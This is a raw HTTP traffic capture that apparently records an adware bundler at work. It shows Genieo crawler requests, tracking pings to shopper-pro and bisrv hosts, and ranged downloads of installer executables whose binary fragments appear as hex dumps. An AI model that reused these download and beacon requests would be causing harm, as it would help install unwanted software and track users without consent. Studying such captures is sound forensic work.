Last-Modified: Sun, 10 May 2015 14:01:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: qCum7a
VaAbabGl28zbcyRBfWLvDKcDC1qff8kWzX0KIHjbpHiK1MCHpja6kvKmGY..x-amz-requ
est-id: 21868439C14793F7..Date: Fri, 15 May 2015 23:03:09 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Sun, 10 May 2015 14:01:45 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: feeds.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 200 OK

Server: Apache

Vary: Host

Last-Modified: Tue, 12 May 2015 22:35:09 GMT

Accept-Ranges: bytes

ntCoent-Length: 1029

Content-Type: text/plain

Cache-Control: private

Content-Encoding: gzip

Content-Length: 371

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:12 GMT

X-Varnish: 763521141

Age: 0

Via: 1.1 varnish

X-Cache: MISS

X-API-Version: 5-4

X-PageType: legacy-override

Connection: close
...........SMo.0... 8#Q.v..4...&.....6Z.T...~...D...N._...gg...X...t6Y
Z....P3.]i......G.C..h-.\.E`.....%/.G(.K..j.SF..N..HR.[K.%..B..M..q..A
 ....]...4f.k..a.`[email protected]...#.........;....;e..
`.......Yz.Eo...pD.1..N...8...7.<PS...!)4P9.;....Y......?..'...[.|:
_o..}e)......R....d.6z,.<L.0B...i-.....n.2.\..F.|.|.1..p....[T.7z..
c......{ .....i....o.p.......

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sun, 03 May 2015 00:53:48 GMT

Content-Range: bytes 0-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 528e932a968fec7dcc37ac386f863bf3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uLoIQTiSAJRYb-GRbkX3w1jcnum3SXx04kb7kYog6ttmvD25z6mM2Q==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bfa8bd5ee6ff2e475c0b3db43b5659ac&tokyo_csrf2_timestamp=1431730891&slot_number=4&index_in_screen=1&index_in_session=4&display_height=75&0.8565816280575826 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_smb_indostreamix/vlcmediaplayerelzy/226e0daa89188549baf0d586a6bc816b?v=2.1&uid=226e0daa89188549baf0d586a6bc816b&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmc=1; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:02:05 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:02:05 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /app/ping.ashx?e=W5y9y1UrGBmidLNtGGzWYdSPsyWRmafrTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64pCqhM9WF88xVYKnsyIwaPeLmf6eHphUt51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxPRnux5rnM77rqmoFjwdjkN62wjSae0jpX4VnmED7u0HiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuyobRbSlpC7xcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPksnh1YRA Jk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:48 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=s5Ydxb c7o1WuN7nJmKQv4wWqg5Eat/CR9y6VNHLKGiRoZJTpqsyZ quxda/Dun3qP0V6n4 tzBHLE0ylDSF7 Lmf6eHphUt51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxPRnux5rnM77rqmoFjwdjkN62wjSae0jpX4VnmED7u0HiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuyobRbSlpC7xcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPksnh1YRA Jk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:48 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 15 May 20
15 23:02:48 GMT..Content-Length: 0..

GET /news/news.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: company.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://company.yandex.ru/news/news.rss
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.6.2</center>..</body>..</html>..HTTP/1
.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015 
23:04:52 GMT..Content-Type: text/html..Content-Length: 184..Connection
: keep-alive..Location: hXXps://company.yandex.ru/news/news.rss..<h
tml>..<head><title>301 Moved Permanently</title>&
lt;/head>..<body bgcolor="white">..<center><h1>30
1 Moved Permanently</h1></center>..<hr><center>
;nginx/1.6.2</center>..</body>..</html>......


GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: company.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:55 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://company.yandex.ru/robots.txt
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.6.2</center>..</body>..</html>..>....

GET /blog/index.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: company.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:55 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://company.yandex.ru/blog/index.rss
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.6.2</center>..</body>..</html>..HTTP/1
.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015 
23:04:55 GMT..Content-Type: text/html..Content-Length: 184..Connection
: keep-alive..Location: hXXps://company.yandex.ru/blog/index.rss..<
html>..<head><title>301 Moved Permanently</title>
</head>..<body bgcolor="white">..<center><h1>3
01 Moved Permanently</h1></center>..<hr><center&g
t;nginx/1.6.2</center>..</body>..</html>.....
.


GET /news/news.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: company.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://company.yandex.ru/news/news.rss
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.6.2</center>..</body>..</html>..HTTP/1
.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015 
23:04:56 GMT..Content-Type: text/html..Content-Length: 184..Connection
: keep-alive..Location: hXXps://company.yandex.ru/news/news.rss..<h
tml>..<head><title>301 Moved Permanently</title>&
lt;/head>..<body bgcolor="white">..<center><h1>30
1 Moved Permanently</h1></center>..<hr><center>
;nginx/1.6.2</center>..</body>..</html>......


HEAD /press_releases/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: company.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://company.yandex.ru/press_releases/

HTTP/1.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May
 2015 23:04:57 GMT..Content-Type: text/html..Content-Length: 184..Conn
ection: keep-alive..Location: hXXps://company.yandex.ru/press_releases
/......

GET /press_releases/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: company.yandex.ru

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: yandexuid=6799885171431731091; ys=wprid.1431731090183831-1343673348614201681811797-sas1-5626

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: text/html

Content-Length: 184

Connection: keep-alive

Location: hXXps://company.yandex.ru/press_releases/
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.6.2</center>..</body>..</html>..HTTP/1
.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015 
23:04:57 GMT..Content-Type: text/html..Content-Length: 184..Connection
: keep-alive..Location: hXXps://company.yandex.ru/press_releases/..<
;html>..<head><title>301 Moved Permanently</title>
;</head>..<body bgcolor="white">..<center><h1>
301 Moved Permanently</h1></center>..<hr><center&
gt;nginx/1.6.2</center>..</body>..</html>....

GET /yta33_full.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/8806904
. .(y.....7...h|.$..4...1.....K..;G.{.'..:..t.[ld..C..n;>.(V...P...
.......C.........7H. .W..ckrZ...w...=....S....!E.8....^.....k.X...$...
9..}... ..{.....]. n.....6..i....o.{[email protected].$..
.H}...^).v....'.....H.....x.yH...E9.V.Q).N.$X...\......GG.|sJ..R.....7
.._.b......x$......?.U.g.g$....)..E..[)..h..k .L ..a.\[email protected].:...
B...... .a.b. .. '.....~e..f..c..3......6.6.?xK.(t..p..@?.Rs"..n.../..
..7....IO..7b{.t.....$ ...*..R.i....6Vt.....x.v"..._g..[3.\OG/.-...y..
.z....M......w.M#...*..r..W"t.eT%.@;.9b0p.-.$=n..H...i*T>..xVL,vA.w
].&5].?A6A.....6Q.v.6...zU*..~:..bGh......GM.3.c%.}.....L.4.C....{..)S
.>.t{....Wn...w...o.7..N........bv...n...}..b.=.....I.g....z.W.q...
I.G....5....]....m..6.4S.jc...j.....Z.....xy...; ...}9.....2....Y2.zM~
0(8g...VMx..V`8/[.".j..l.4....i....~..W$.....6....0.}...L.h..\...^....
.TK>.3Y^...,.[.....{.w..6.*\T.eV?.B..Pe..H..!-..%.._J./.. ......R.]
..]&XK.RE7...uY/7eZ3Q...x......\.2...>..QH.$..>.d...Q..;.....3..
..5....YZ.v........N......b........ie.B..D...:u6.vK..=..(Vy..uu.(..j.j
.H...4.-...L{. .R..7M.&.........MZa..5...<..* .,..FQ.....u.V.o.O..\
.....^7...._=. ...I5.....x.:Ec.,.N.1.......2x..%....z.[{[email protected]..
......DU...'I2......L'>..M9..J.g.{. .o.#.n...u..R.RXI....M.1].....|
..........6...h$..f....?...S....b.]..z-%5..!=..Ls..BB..F..4..)d3..a.R.
.)..OF..._m.........h)..)k..)k......(.r.b.DRx,3.. 1.^$z....p.L\.......
...-..g. .j.i..u:.9)../.B..Aq6.K.<bd.:...W. ]...A.b..P...%..]..P./.
Q.>...X.R.........N..;M.0N..8$....vk....H.......?r.{...........<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 750000-999999/8806904
f.....o...C.}..&..(.G\...c...Q...x.."...&...n|...-....E..C!.,....,.zGf
..(..a...Is.Q..Oi*./q....._.1..f..E..J..b.,/1...Z.....A...z.MMJ2..!...
A...Z.#n...@..~..w?.)....../*...`K'._....2..b.6|.v..t.km... .D....v./W
...}...o...hp.D?K...........{j:H..#..AP.ai..............6..\....=.....
.Hz.Ma.m...y..:[email protected](..4G.=)s........Q..d>."...;.u....1~..2r.`S
.....#.(........=!^.Ppp...2.%.BR.>c..s[C.,ZS6%..G..A.".XJV.Sf....vl
.....s.......l.i.J.......l.&..WK.......q....A..c....3.ujF.tE.4,l...j..
.}....t..Bb,../^5............dn%..........X4.......hX.!.. .k.@s...(...
.&...m...fF*Y..m..C%........4..f..#..|..!...ri~..=.Ya....B.......\....
...4.;...,..Gu.....4f..b^...j..#.#...1...`.GO......H.7.*.....b*3.f.X.O
...^.f.X..x.....3.:..sK}*[email protected];.i..sr....1.....
$.T.;2....d)-..L..M...!....1e.Xe.4......C.3..`.....*...4.j..........N.
|) ...,.[r.^..n..Xf...I&....SxQ.....L...,.).....L2[..]J...x...'..c... 
%.2.q`..x..m.m..Q.........|o..m..../.#..SyQ...X....F.l..x.....'.s.....
.#jk.EK.... w........_qw.Qe.G...3U....[..k.[.|(.i_S.!.`.~;w.}p;p.....5
2....m.....4.9..........B........O....l...Q.u...*.Sn.)H..[.p.A./Ju...`
.T..x.b.$..^{......;..H%....X.Cp....x..&...V..........c._Y....i.=Z.U].
..Z0..0....6.9...2....d..(s.S./....;...."...1..GM!...3.......)......G.
........y..O^[email protected]..!Ng.~.J..t.Y..10..R..G..:..........
#.ei..WC.ENH..mq.N.#.........t./x.....Zc.{.5..-n.*{L"l.......z...z...`
.'=L..."..:#.....ZG...n....~.D.=s.06N#.X..A.0w..#V.On.WO....8.N.k.AN..
.u.?..F.O...k...,.`B.I...#...ZL..F...(.]......D.m.yf.([email protected]....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/8806904
$hs.........k_r*X>B...7].;...uJ%"..WO.ID).C6;.bl....EV.....y.......
.l...h..W..-.....g4U.h.Q..B.O.b..Z.^..5.jy.<|....Wt...G...^....z...
..6...g.{..:.%9.w......d...h<.C...3{..E.=..r.......F..U.@.&.s..-...
..r....a.[.a..I......O.`j...8........V....?....J$..U|.....C..12.(.T...
...-..H>..ZZN.t.n..$......2..o.3;:..~W..ra.*.8.L6.Q..p..)...y..-.7.
.E{=..KO~D..>'...Q...8X..N..B...._....[ ..._....2)udl.S^.A......$3.
..c...|d.<.....g.,jk.w..;dq;^......kuq.L....H.....W."N........X..9n
[.{_.I...IZ...kmSR1..g7|f.Wx..K.....,.....SQr....rf....X..Op..Iu..,...
....w.i.. ...3;..$...f....F...>h.T<...'.;..\..&>.i=.~.@Prs..)
....E.....A,.L#:.....e.1.....dR./.y.,...&....y..%aU..8..].....A.,..8.E
..\.L..mc.3.1f......)O.I...".l...Y.d&>..rq.Q.?b.k....9.R.....#<.
....VKC.i.......R[.ya..#.Sv.........D.....Z*l..._...l...t...e84.?)[RY.
f.....9$.c..........}>w.z,"..3ExKgZ).....L..7..od.......q..%.V.x...
...c..<.GG......I/q......tIR.'2......L._...Sk.{.v}....],.r.....5.&l
t;..k......&Ug.....x;.]..._.H.*M....0.I..E.I[]D._i.._s.it.=.T..1(_..c.
4.?H..:. ...*..]u?ªi...M...Y.d ..|.7{.....:<../..?..}....|QG~).A{
....'.%7TV='_G..s...kZ.K$".;.......n..1D..S.`.`[email protected].$......Z.b.]
w."..E...9....".\.I.mo!..W...V.. ;......L...Yb.Y.`.i....Rm.R....)Tm.T;
.;%o......N...0.D....qb..p.j..D.X.K1..z[A.......y...gV&.....7..|.gr...
.g4..e.o..z..W.......2.H..-...!v....tK8.'..S"...h.Y...JUPB.6i.;...2.&g
t;..h...|Q..x...]%>mG.h^.f.....Pu.OVH..NHI.m.IY.:............../...
...........d..'Z....PB.....Z5Q.[..............t/...-t....D".....h.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1750000-1999999/8806904
...z..<`.9....p..%.=...|._....K^.&v.TL.@n7.[......5.....4>g.|l..
...uq.A.....M......N.i.G............W...]xv..3../H...kV.....1._D8.<
.QM..}....o....~..PSeH.$......X.k.....'..).C..,.....GM.........J......
.,..a...CFH..T.d..v.....,..TW.X1.0......EsP-......9....,....$u..|.d...
.......$../1...<[email protected]_...k..pi(J..)..R.)..V
.....-..o...&Zz..J#?..J...Z......R....=.OO`...E].[;fmA........_!...._.
$...M..%.R.._.H..0..,9...-8S.G.s.f..Td..U[fka.._.K..H....^S.%h.WO\.}..
7.Tg.j..X.P.Ib.7)4yz....>.....e2-.........._7x.<3L}7.W.......l..
.....3d.....W.B...G...@3..=S.......1'..mz.M.&.f...O..{.q.......0U.0...
.........~..M...5..H.[u.....Y..?....<zH4.={.f.V./.M......>.~..|.
\E..eVd.....o~....Nu.........2@......{.p].:...H.w..h.........2.jr.I...
5.......u.)Q-...~...'.C...)...U...c.;.iG).....w.......1...0(..w.m..!. 
.`.$.3...j.....5?b.IXr.&...........].U......e............Z$.....UT....
o....p.I...%..h....Z9&.$..z...{..f...}......{..<....5.A;".RY"...59'
.....{...).Q.....T#..... f.be.......]g.......L..J.......\=..'B...B..?.
u....c....y^[email protected]..>/.Jc\........'."..-....U`bUj.....T.uW.y.Y..i
.[...#x.m..hN...K(%..8.&.CL.b9..G;.x.]..A!"u3g{..0\*.d...IH.....!.T...
3.....1t.f.$.....iT.....v.7.5.._....5T.}p"......$..D>.'.G...t!..b..
 <..-j[I.[..4.(~.......g>.._m...~k....Zy.....KS.*/...mm...9...ku
FX.....i."2....."z....T..Qz..*.jzB.eu......r......=....$.U......7.....
..,......-.._......#....{H........^.........P.y`..........B2m=..j...(.
[email protected].[..S.wh..kd./......g.d...0se=.a...>7e....M..nx.3o..i... <<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2000000-2249999/8806904
.ORK.D4../.........C|.......#:.K.-..5.G.....=q...a..S....3..&...L..t..
..........-B.[...y.<- F.x.}.r..__.]W...IP.%p ST.g.]R..Au..KZ. ....T
@E.N-..?.#....H..Z.YQl%*..>.h%h......E6S....B.5...............=..q.
...`.EDS..nm...*.j2...4..I.d...*M.S)[.....>r(..=kN.XM ......<.G.
 yo...D.N.......9HU.o.]..l..............-..)Of..\....S..R..W..4...Pn..
\.="H6:...j........f6..X^3z.T...-......4.NT`{.1...6....T.....N\i....2*
9.6J....u...`..C6{.....^j.........V.`.Ds..:......14..cZ.".\XP....\....
F......{^a...U$.%O]|..\.O..'..:..,...F...r .^.........{...Bh........c.
.O.w..~(G....7h.f.75Rk.<[_P.n.y(.R..........5^S...i.HV......^...$..
$,~D....;8. .....6Z.....Se.a.X...R..d8.B'.8....?;vx...F.Ez.6=1.7}.....
.,\.S.G.(D......../...PI2.4L....F....*.nj3 Y.w..|;H..B....S.yyb..!..lh
[email protected].%(L..`..9.....7.....5.A].@^L.g..v....=vT..|......-..q...
.......I..[#[email protected](.1..,...EIBJ..9zS.....>.Q..W...).K>...
.:.....9]*$m2M.T`....C.,..w-.%....S~I.u...A.r.....Wm#...7..E...#@....7
......`...Q*^#.j.V~.8...w..%(....`.8.<......D..dG..[..F...%.o.!9..l
...Q3E.pc.?.A.nD.....u..lRS:.b.g.6@..._..Lrcw..r... ..K...Z.8v..g.eCh.
........W)...d..w..!b.L ....................t@........!...F.......a.&l
t;......v.{..g3By.9....w4.p?........ .X<u..'b.[.......}N|....),..T2
.6.4rV.x.NR......-.....7........|..&..0$.A....=.$........}.y....m.!b..
 .*.\.......C.......dx.....,.........Q.......O...GY$x.......a..).....A
r.>m].......Y.^....M..aa..7`kk.P..s`.i...e.2...B.p.hA4B.....|K....!
.$.....0.....g.M..3;j....j90.Q.....x..QRI\..Oc........P....o,.....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: h7o3yrk-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: 4mtP2bci6dlY/qWpHP2GjH4kMx2L3rP25Nh9RIwiIqHokpfxIUCxb3lswERhlnM4

x-amz-request-id: F9CEDACD593CC72E

Last-Modified: Thu, 14 May 2015 08:45:08 GMT

ETag: "fdf2293c3bf39ef22406bc5c9e860e07"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2500000-2749999/8806904
.C...F.!.(C....<...jxf..(x...x.38.@=...d.K..... .....[.6.BeW....Q..
..)3...T[~.N@^l...z.0..*\.wJ.v;v...j..MW...C..........:y.~*.%...*....'
._.)............IK.o..H..k..p.......].Z.............."m....[..D......"
.f....f:f........h.1.G.$...d.........H-uf!.2.r...?'../..B.......l..>
;.^4q....`=...AW].Au.?.vc\..$uT.o.x..>/'..j]^Y....t.#.f.$1...o..ui.
...w....e....w.....qm!Y.N*NFu..7X.H..VA,s..~....,gP..DK....1:.....Y..o
.....IZ..?.\.p.<.{Aok......C.z..z..b..xq.....v...rF{1..ZM..*...y..p
....I.X.o.A..H..\..........]...D|ten. 2k..fY.V....^..5u]h.r.....Be....
.h.D$lD.a..f....-.......X."...$}...B....2.M..'N.p..c.9Y.G....#8.....yk
.I..r.cs..It..<.*u....H.....c).....&K....1.24O..xl:.<.3...(.X{n.
]..l.*Gf.so.[R....{]^.....L.... Wb.\.....8..#k.H'e.....Z.\X..C`......K
'n>.a7.. ...'i:3<1..kM...QH...&......J...U.9q."...<....!...0.
.........J.....g.kK.....)..L...t.|....<.bO.....1'....uv.cW..z."A..!
.4...c..o.;m...... u..D9<..].,.....r...E.WA..bVh........8.{..../...
T......?...i.L..Y.B.U\...d...%.x.|.S.5<z.=O.%s$gQE..3.T=.'n..|3?E~.
\.L..|vo.....J_.Z.u..k......O.Pu...n".U.......M..].`Ed.)pS.T....C"Wn.g
yk.-......qK......e...vC.vBG..oa...53...F.G..9.#..q.!.H.. ti...OE...4.
